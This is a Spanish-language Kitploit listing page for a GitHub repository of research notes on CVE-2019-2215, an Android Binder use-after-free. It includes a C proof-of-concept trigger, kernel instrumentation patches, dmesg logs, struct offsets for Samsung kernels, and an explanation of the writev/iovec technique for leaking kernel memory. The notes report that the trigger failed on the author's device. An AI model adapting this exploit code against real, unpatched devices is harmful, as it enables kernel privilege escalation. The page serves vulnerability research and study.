Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-2215 — PoC y análisis de CVE-2019-2215, un use-after-free en Android Binder, con instrumentación del kernel y ajuste del exploit para dispositivos Samsung afectados. | Kitploit
Herramientas/GitHubGitHub/atorninja/cve-2019-2215
Seguridad AndroidForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubatorninja/cve-2019-2215

CVE-2019-2215

PoC y análisis de CVE-2019-2215, un use-after-free en Android Binder, con instrumentación del kernel y ajuste del exploit para dispositivos Samsung afectados.

Ver Repositorio
3132hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-2215

Fuente:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

Samsung S7 y S7 Edge con Kernel 3.18.x parecen no ser vulnerables (podrían serlo, sin embargo, con más trabajo y ajustes en el PoC). No se puede ver más, ya que no se dispone de dispositivos rooteados.

Samsung S3Neo+ con LineageOS Kernel 3.4.0 posiblemente vulnerable (aún en progreso)

root@kitploit:~
Kernel 3.4.0

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

No KASLR

No need to leak Kernel Struct Addresses.

8-byte aligned (because there is one less field in the struct)

binder_thread size:0xfc (252) 

wait queue offset:0x2c (44)


Had to add at least 2 entries for it to trigger, with 1, it didn't trigger

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533

PoC:


#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
    int fd,fd1,fd2, epfd,epfd1;
    struct epoll_event event = { .events = EPOLLOUT   };

    fd = open("/dev/binder", O_RDONLY);
    fd1 = open("/dev/random", O_RDONLY);
    epfd = epoll_create(1000);
    epfd1 = epoll_create(1000);
  

    if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
    if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




    //ioctl(fd, BINDER_VERSION, NULL);

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    printf("Finished here.");
}


Modified binder.c and evenpoll.c in the Kernel to see what is happening

binder.c

static int binder_free_thread(struct binder_proc *proc,
                              struct binder_thread *thread)
{
        struct binder_transaction *t;
        struct binder_transaction *send_reply = NULL;
        int active_transactions = 0;
        static const size_t memberOffset = offsetof(binder_thread, wait);
        wait_queue_head_t *wqhptr = &thread->wait;
        wait_queue_head_t *pwqhptr = &proc->wait;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
        printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
        printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
        list_for_each_safe(p1,n1,  &pwqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }
        list_for_each_safe(p1,n1,  &wqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }


                remove_wait_queue(whead, &pwq->wait);
                printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
                printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);

I see the list is printed.....but during Android Bootup not my PoC:

During Android start

[   84.747753] binder_ioctl: 1878:2371 40046208 0
[   84.747765] iovec str size:8
[   84.747771] thread->task_list:e4fb2e30
[   84.747777] proc->task_list:e57d866c
[   84.747784] p list= e57d866c e7fffe7c
[   84.747790] p list= e656de7c e57d866c
[   84.747797] binder_free_thread size:252 worker_off:44
[   84.747804] freed thread:e4fb2e00

I see proc->task_list ... 

PoC:

[  642.254192] wq queue:e7ce8798
[  642.254201] epoll struct:e7ce8780
[  642.254214] wq queue:e7ce8f98
[  642.254220] epoll struct:e7ce8f80
[  642.254230] wq queue:e7ce8718
[  642.254236] epoll struct:e7ce8700
[  642.254266] binder_ioctl: 7392:7392 40046208 0
[  642.254274] iovec str size:8
[  642.254280] thread->task_list:e5389b30
[  642.254286] proc->task_list:c309d86c
[  642.254292] binder_free_thread size:252 worker_off:44
[  642.254299] freed thread:e5389b00
[  642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[  642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[  642.254799] ep_unregister_pollwait list not empty
[  642.254805] whead before
[  642.254811] my2= c0f50cc4 c0f50cc4
[  642.254817] remove wait queue:e734b994
[  642.254823] remove wait queue task list:e734b9a0
[  642.254830] ep_unregister_pollwait list not empty
[  642.254835] whead before
[  642.254841] my2= c0f50cd0 c0f50cd0
[  642.254847] remove wait queue:e734bb24
[  642.254852] remove wait queue task list:e734bb30
[  642.254863] ep_free
[  642.254873] ep_free
[  642.254881] ep_free

However bug is not triggered in my PoC. I cannot see doubly list entiries under thread and proc :/


Aquí es donde debería aparecer el error de use after free.

Código:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

Cuando se llama a esto, la estructura binder_thread se libera en el kernel.

Inmediatamente después, el proceso padre llama:

Código:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

En el kernel, se asigna memoria para copiar iovec_array desde el espacio de usuario. Este PoC depende de que el puntero de esta asignación sea el mismo que el de la memoria binder_thread recién liberada.

Luego, cuando el proceso hijo termina, la limpieza de EPOLL usará la waitqueue en la estructura binder_thread, que ha sido sobrescrita con los valores en iovec_array. Cuando la limpieza de EPOLL desvincula la waitqueue, 0xDEADBEEF será sobrescrito por un puntero en el espacio del kernel. Esto debe ocurrir justo antes de que la llamada writev en el proceso padre comience a copiar el segundo búfer, lo que nos permite obtener una fuga de memoria del espacio del kernel.

Si writev devuelve 0x1000, significa que la sincronización no es correcta, el offset de la wait queue es incorrecto, la asignación kmalloc en la función writev no es la misma que la del binder_thread liberado, o tu kernel no es vulnerable.
Descargar herramienta